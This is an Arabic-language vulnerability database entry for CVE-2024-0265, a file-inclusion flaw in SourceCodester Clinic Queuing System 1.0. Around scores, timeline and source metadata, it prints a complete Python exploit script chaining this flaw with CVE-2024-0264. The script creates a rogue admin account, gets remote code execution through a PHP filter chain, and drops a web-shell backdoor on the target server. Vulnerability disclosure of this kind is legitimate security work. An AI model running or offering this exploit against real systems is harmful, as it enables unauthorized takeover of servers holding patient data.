SourceCodester Clinic Queuing System 1.0 GET Parameter /index.php page تجاوز الصلاحيات
| CVSS الدرجة المؤقتة للميتا | سعر الإكسبلويت الحالي (≈) | درجة اهتمام CTI |
|---|---|---|
| 7.4 | $0-$5k | 0.00 |
الملخص
هناك ثغرة تم تصنيفها كـ خطيرة تم اكتشافها في SourceCodester Clinic Queuing System 1.0. تتعلق المشكلة بوظيفة غير معروفة في الملف /index.php في المكون GET Parameter Handler. تؤدي عملية التلاعب بالوسيط page إلى تجاوز الصلاحيات. تحمل هذه الثغرة المعرف CVE-2024-0265. يمكن البدأ بالهجوم هذا عن بعد. بالإضافة إلى ذلك، يتوفر استغلال.
التفاصيل
هناك ثغرة تم تصنيفها كـ خطيرة تم اكتشافها في SourceCodester Clinic Queuing System 1.0. تتعلق المشكلة بوظيفة غير معروفة في الملف /index.php في المكون GET Parameter Handler. تؤدي عملية التلاعب بالوسيط page إلى تجاوز الصلاحيات. عبر استخدام CWE في وصف المشكلة، سيتم الإشارة إلى CWE-73. المشكلة تمت مشاركتها بتاريخ 06/01/2024. يمكنك تنزيل التنبيه من github.com.
تحمل هذه الثغرة المعرف CVE-2024-0265. يمكن البدأ بالهجوم هذا عن بعد. تتوفر معلومات تقنية. معدل انتشار هذه الثغرة أقل من المعدل العام. بالإضافة إلى ذلك، يتوفر استغلال. تم الإعلان عن الثغرة للعامة ومن الممكن استغلالها.
إذا كان هناك قيمة لـ إثبات المفهوم، فسيتم التصريح بأنه إثبات المفهوم. يمكن تحميل الاستغلال من github.com. باعتباره ثغرة يوم الصفر، كان السعر التقديري في السوق السوداء حوالي $0-$5k. شفرة الاستغلال المستخدمة هي:
# Author: Juan Marco Sanchez | https://linkedin.com/in/juanmarcosanchezimport requests import random import argparse from bs4 import BeautifulSoup
- Sourcecodester Clinic Queuing System RCE
- Chain of CVE-2024-0264 and CVE-2024-0265
parser = argparse.ArgumentParser() parser.add_argument("target") args = parser.parse_args()
base_url = args.target phase1_url = base_url + '/LoginRegistration.php?a=save_user' phase2_url = base_url + '/LoginRegistration.php?a=login'
filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home"
def phase1(): rand_user = 'pwn_'+str(random.randint(100, 313)) rand_pass = 'pwn_'+str(random.randint(100, 313)) pwn_user_data = {'formToken':'','fullname':'pwn!','username':rand_user,'password':rand_pass,'status':1,'type':1} print("[*] adding administrator " + rand_user + ":" + rand_pass) phase1 = requests.post(phase1_url, pwn_user_data) if "User Account has been added successfully." in phase1.text: print("[+] Phase 1 Success - Admin user added!\n") print("[*] Initiating Phase 2") phase2(rand_user, rand_pass) else: print("[X] user creation failed :(") die()
def phase2(user, password): s = requests.Session(); login_data = {'formToken':'','username':user, 'password':password} print("[*] Loggin in....") phase2 = s.post(phase2_url, login_data)
if "Login successfully." in phase2.text: print("[+] Login success") else: print("[X] Login failed.") die()
print("[+] Preparing for RCE via LFI PHP FIlter Chaining...\n") rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';" #print("[*] Payload: " + rce_url) rce = s.get(rce_url) if "jmrcsnchz" in rce.text: print("[+] RCE success!") soup = BeautifulSoup(rce.text, 'html.parser') print("[+] Output of id: " + soup.pre.get_text()) print("[*] Uploading php backdoor....") s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));") print("[+] Access at " + base_url + "/rce.php?0=whoami") else: print("[X] Exploit failed. Try debugging the script or pass this script onto a proxy to investigate.") die()
try: print("[*] Initiating Phase 1") phase1() except: print("Exploit failed.")
منتج
المجهز
الأسم
النسخة
الرخصة
موقع إلكتروني
- المجهز: https://www.sourcecodester.com/
CPE 2.3
CPE 2.2
CVSSv4
VulDB متجه: 🔍VulDB الاعتمادية: 🔍
CVSSv3
VulDB الدرجة الأساسية للميتا: 7.6VulDB الدرجة المؤقتة للميتا: 7.4
VulDB الدرجة الأساسية: 6.3
VulDB الدرجة المؤقتة: 5.7
VulDB متجه: 🔍
VulDB الاعتمادية: 🔍
باحث الدرجة الأساسية: 8.8
باحث متجه: 🔍
NVD الدرجة الأساسية: 8.8
NVD متجه: 🔍
CNA الدرجة الأساسية: 6.3
CNA متجه (VulDB): 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| متجه | التعقيد | توثيق | السرية | الأمانة | التوفر |
|---|---|---|---|---|---|
| افتح | افتح | افتح | افتح | افتح | افتح |
| افتح | افتح | افتح | افتح | افتح | افتح |
| افتح | افتح | افتح | افتح | افتح | افتح |
VulDB الدرجة الأساسية: 🔍
VulDB الدرجة المؤقتة: 🔍
VulDB الاعتمادية: 🔍
NVD الدرجة الأساسية: 🔍
استغلال
الفئة: تجاوز الصلاحياتCWE: CWE-73
CAPEC: 🔍
ATT&CK: 🔍
ملموس: لا
محلي: لا
عن بُعد: نعم
التوفر: 🔍
وصول: عام
الحالة: إثبات المفهوم
المؤلف: Juan Marco Sanchez (jmrcsnchz)
لغة البرمجة: 🔍
تحميل: 🔍
Google Hack: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
تقدير السعر: 🔍
تقدير السعر الحالي: 🔍
| 0-Day | افتح | افتح | افتح | افتح |
|---|---|---|---|---|
| اليوم | افتح | افتح | افتح | افتح |
استخبارات التهديد
الاهتمام: 🔍الفاعلون النشطون: 🔍
مجموعات APT النشطة: 🔍
إجراءات مضادة
التوصية: لا يوجد تخفيف معروفالحالة: 🔍
زمن الهجوم الفوري: 🔍
الجدول الزمني
06/01/2024 🔍06/01/2024 🔍
06/01/2024 🔍
09/06/2025 🔍
المصادر
المجهز: sourcecodester.comاستشارة: github.com
الحالة: غير معرفة
CVE: CVE-2024-0265 (🔍)
GCVE (CVE): GCVE-0-2024-0265
GCVE (VulDB): GCVE-100-249821
EUVD: 🔍
scip Labs: https://www.scip.ch/en/?labs.20161013
إدخال
تم الإنشاء: 06/01/2024 09:57 AMتم التحديث: 09/06/2025 09:22 PM
التغييرات: 06/01/2024 09:57 AM (42), 06/01/2024 04:23 PM (3), 06/01/2024 04:24 PM (13), 06/01/2024 04:27 PM (3), 24/01/2024 06:03 PM (2), 24/01/2024 06:11 PM (27), 09/06/2025 09:22 PM (16)
كامل: 🔍
المقدم: Echidonut
المتعهد: Echidonut
Cache ID: 216::103
إرسال
تمت الموافقة
- إرسال #261736: Sourcecodester Clinic Queuing System 1.0 Local File Inclusion (بحسب Echidonut)
If you want to get the best quality for vulnerability data then you always have to consider VulDB.
لا توجد تعليقات بعد اللغات: ar + fa + en.
يرجى تسجيل الدخول حتى تتمكن من التعليق